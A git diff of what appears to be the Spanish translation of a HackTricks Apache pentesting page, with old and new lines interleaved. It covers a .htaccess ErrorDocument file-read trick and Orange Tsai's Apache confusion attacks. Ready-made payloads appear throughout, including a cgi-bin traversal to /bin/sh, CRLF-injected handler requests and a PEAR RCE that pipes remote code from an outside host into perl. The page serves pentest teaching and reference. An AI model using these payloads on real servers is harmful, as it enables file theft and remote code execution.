Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-08-28 18:48:39 +00:00
parent 327334a773
commit a3ac962a60
2 changed files with 402 additions and 357 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,11 +4,11 @@
## Extensiones PHP ejecutables
Verifique qué extensiones está ejecutando el servidor Apache. Para buscarlas, puede ejecutar:
Comprueba qué extensiones está ejecutando el servidor Apache. Para buscarlas puedes ejecutar:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
También, algunos lugares donde puedes encontrar esta configuración son:
Además, algunos lugares donde puedes encontrar esta configuración son:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument.
- Requisitos:
- Apache 2.4 con expression parser (ap_expr) habilitado (por defecto en 2.4).
- El vhost/dir debe permitir que .htaccess establezca ErrorDocument (AllowOverride FileInfo).
- El Apache worker user debe tener permisos de lectura sobre el archivo objetivo.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Provóquelo solicitando cualquier ruta inexistente dentro de ese directorio, por ejemplo al abusar de userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notas y consejos:
- Solo funcionan rutas absolutas. El contenido se devuelve como el cuerpo de la respuesta para el handler 404.
- Los permisos de lectura efectivos son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* o /etc/shadow en configuraciones por defecto.
- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite rename, es posible que puedas renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Úsalo para leer el código fuente de la aplicación bajo DocumentRoot o rutas de configuración vhost para recolectar secretos (DB creds, API keys, etc.).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Estos tipos de ataques han sido introducidos y documentados [**por Orange en esta publicación de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) y lo siguiente es un resumen. El ataque de "confusión" básicamente abusa de cómo los decenas de módulos que trabajan juntos creando un Apache no funcionan perfectamente sincronizados y hacer que algunos de ellos modifiquen algunos datos inesperados puede causar una vulnerabilidad en un módulo posterior.
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
### Filename Confusion
#### Truncation
El **`mod_rewrite`** recortará el contenido de `r->filename` después del carácter `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Esto no es totalmente incorrecto ya que la mayoría de los módulos tratarán `r->filename` como una URL. Pero en otras ocasiones esto se tratará como una ruta de archivo, lo que causaría un problema.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Pero en otras ocasiones esto será tratado como una ruta de archivo, lo que puede causar un problema.
- **Path Truncation**
Es posible abusar de `mod_rewrite` como en el siguiente ejemplo de regla para acceder a otros archivos dentro del sistema de archivos, eliminando la última parte de la ruta esperada simplemente añadiendo un `?`:
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Asignación de RewriteFlag Engañosa**
- **Asignación engañosa de RewriteFlag**
En la siguiente regla de reescritura, siempre que la URL termine en .php, se tratará y ejecutará como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un tipo diferente de archivo (como una imagen) con código php malicioso dentro de él:
En la siguiente regla de reescritura, siempre que la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un archivo de tipo diferente (por ejemplo una imagen) con código php malicioso en su interior:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -61,9 +89,9 @@ curl http://server/upload/1.gif
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **Bypass de ACL**
#### **ACL Bypass**
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería ser denegado con configuraciones como:
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería estar denegado con configuraciones como:
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php` y porque PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla anterior lo prohibía.
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php`, y dado que PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla previa lo prohibía.
### Confusión de DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde documentRoot como desde root. Así que, una solicitud a `https://server/abouth.html` verificará el archivo en `/var/www/html/about.html` y `/about.html` en el sistema de archivos. Lo que básicamente se puede abusar para acceder a archivos en el sistema de archivos.
Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde el documentRoot como desde root. Así, una petición a `https://server/abouth.html` comprobará la existencia del archivo en `/var/www/html/about.html` y en `/about.html` en el sistema de archivos. Esto, básicamente, puede ser abusado para acceder a archivos del sistema de archivos.
#### **Divulgación de Código Fuente del Lado del Servidor**
#### **Server-Side Source Code Disclosure**
- **Divulgar Código Fuente CGI**
- **Disclose CGI Source Code**
Agregar un %3F al final es suficiente para filtrar el código fuente de un módulo cgi:
Con solo añadir un %3F al final basta para leak the source code of a cgi module:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,17 +123,17 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Divulgar el código fuente de PHP**
- **Divulgar PHP Source Code**
Si un servidor tiene diferentes dominios, siendo uno de ellos un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y filtrar código php:
Si un servidor tiene distintos dominios y uno de ellos es un dominio estático, esto puede aprovecharse para recorrer el sistema de archivos y leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulación de Gadgets Locales**
#### **Local Gadgets Manipulation**
El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como en la [plantilla de configuración](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) del Apache HTTP Server:
El principal problema con el ataque anterior es que, por defecto, la mayor parte del acceso al sistema de archivos será denegado como en Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
@ -121,36 +149,36 @@ Require all granted
```
Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share` en estas distribuciones.**
**Gadget Local para Divulgación de Información**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, lo que puede filtrar variables de entorno sensibles.
- Los servidores con **Nginx** o **Jetty** podrían exponer información sensible de la aplicación web (por ejemplo, **web.xml**) a través de sus raíces web predeterminadas ubicadas bajo **/usr/share**:
- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, que puede leak variables de entorno sensibles.
- Servidores con **Nginx** o **Jetty** podrían exponer información sensible de aplicaciones web (p. ej., **web.xml**) a través de sus raíces web por defecto ubicadas bajo **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Gadget Local para XSS**
**Local Gadget to XSS**
- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones anteriores a través de **unsafe RewriteRule**.
- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede conducir a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones antiguas mediante **unsafe RewriteRule**.
**Gadget Local para LFI**
**Local Gadget to LFI**
- Si PHP o ciertos paquetes de front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**:
- Si PHP o ciertos paquetes front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Gadget Local para SSRF**
**Local Gadget to SSRF**
- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta de entrada a más exploits.
- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales.
**Gadget Local para RCE**
**Local Gadget to RCE**
- Las oportunidades para **Remote Code Execution (RCE)** son vastas, con instalaciones vulnerables como un **PHPUnit** desactualizado o **phpLiteAdmin**. Estos pueden ser explotados para ejecutar código arbitrario, mostrando el extenso potencial de la manipulación de gadgets locales.
- Las oportunidades para **Remote Code Execution (RCE)** son amplias, con instalaciones vulnerables como una **PHPUnit** desactualizada o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el extenso potencial de la manipulación de local gadgets.
#### **Jailbreak desde Gadgets Locales**
#### **Jailbreak from Local Gadgets**
También es posible hacer jailbreak desde las carpetas permitidas siguiendo enlaces simbólicos generados por el software instalado en esas carpetas, como:
También es posible hacer jailbreak desde las carpetas permitidas siguiendo symlinks generados por software instalado en esas carpetas, como:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,53 +186,53 @@ También es posible hacer jailbreak desde las carpetas permitidas siguiendo enla
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Además, abusando de enlaces simbólicos fue posible obtener **RCE en Redmine.**
Además, abusando de symlinks fue posible obtener **RCE en Redmine.**
### Confusión de Manejadores <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden ser utilizadas para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban diferentes campos (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de manera intercambiable bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el segundo no.
Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas indistintamente bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el último no.
Además, en el Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **utiliza `r->content_type` como el manejador**, haciendo que `AddType` y `AddHandler` sean idénticos en efecto.
Además, en Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` sean idénticos en efecto.
#### **Sobrescribir Manejador para Divulgar Código Fuente PHP**
#### **Overwrite Handler to Disclose PHP Source Code**
En [**esta charla**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache **devuelva el código fuente de PHP**. Esto se debió a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta lleva a sobrescribir `r->content_type` a `text/html`.\
En [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema en el manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta conduce a sobrescribir `r->content_type` a `text/html`.\
Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.
#### **Sobrescribir Manejador para XXXX**
#### **Overwrite Handler to XXXX**
TODO: Orange no ha divulgado esta vulnerabilidad aún
TODO: Orange aún no ha divulgado esta vulnerabilidad
### **Invocar Manejadores Arbitrarios**
### **Invoke Arbitrary Handlers**
Si un atacante puede controlar el encabezado **`Content-Type`** en una respuesta del servidor, podrá **invocar manejadores de módulos arbitrarios**. Sin embargo, en el momento en que el atacante controla esto, la mayor parte del proceso de la solicitud ya se habrá realizado. Sin embargo, es posible **reiniciar el proceso de solicitud abusando del encabezado `Location`** porque si el `Status` devuelto es 200 y el encabezado `Location` comienza con una `/`, la respuesta se trata como una Redirección del Lado del Servidor y debe ser procesada.
Si un atacante puede controlar la cabecera **`Content-Type`** en una respuesta del servidor, podrá **invocar handlers arbitrarios de módulos**. Sin embargo, para cuando el atacante controle esto, la mayor parte del procesamiento de la request ya se habrá realizado. No obstante, es posible **reiniciar el proceso de la request abusando de la cabecera `Location`** porque si el `Status` devuelto es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada
De acuerdo con [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificación sobre CGI) en [Sección 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) se define un comportamiento de Respuesta de Redirección Local:
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> El script CGI puede devolver una ruta URI y una cadena de consulta (local-pathquery) para un recurso local en un campo de encabezado Location. Esto indica al servidor que debe reprocesar la solicitud utilizando la ruta especificada.
> The CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades:
- Inyección CRLF en los encabezados de respuesta CGI
- SSRF con control completo de los encabezados de respuesta
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Manejador Arbitrario para Divulgación de Información**
#### **Arbitrary Handler to Information Disclosure**
Por ejemplo, `/server-status` debería ser accesible solo localmente:
Por ejemplo `/server-status` debería ser accesible solo localmente:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Es posible acceder configurando el `Content-Type` a `server-status` y el encabezado Location comenzando con `/`
Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location que comience por `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Manejador Arbitrario a SSRF Completo**
#### **Handler arbitrario a SSRF completa**
Redirigiendo a `mod_proxy` para acceder a cualquier protocolo en cualquier URL:
```
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Sin embargo, el encabezado `X-Forwarded-For` se agrega impidiendo el acceso a los puntos finales de metadatos en la nube.
Sin embargo, se añade la cabecera `X-Forwarded-For`, lo que impide el acceso a los endpoints de metadatos en la nube.
#### **Controlador Arbitrario para Acceder al Socket de Dominio Unix Local**
#### **Manejador arbitrario para acceder al Unix Domain Socket local**
Acceda al Socket de Dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en `/tmp/`:
Accede al Unix Domain Socket local de PHP-FPM para ejecutar un PHP backdoor ubicado en `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Manejador Arbitrario para RCE**
#### **Arbitrary Handler to RCE**
La imagen oficial [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de gestión de paquetes PHP en línea de comandos, que puede ser abusada para obtener RCE:
La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de línea de comandos para la gestión de paquetes de PHP, que puede ser abusada para obtener RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para los detalles de esta técnica.
Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para conocer los detalles de esta técnica.
## Referencias
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}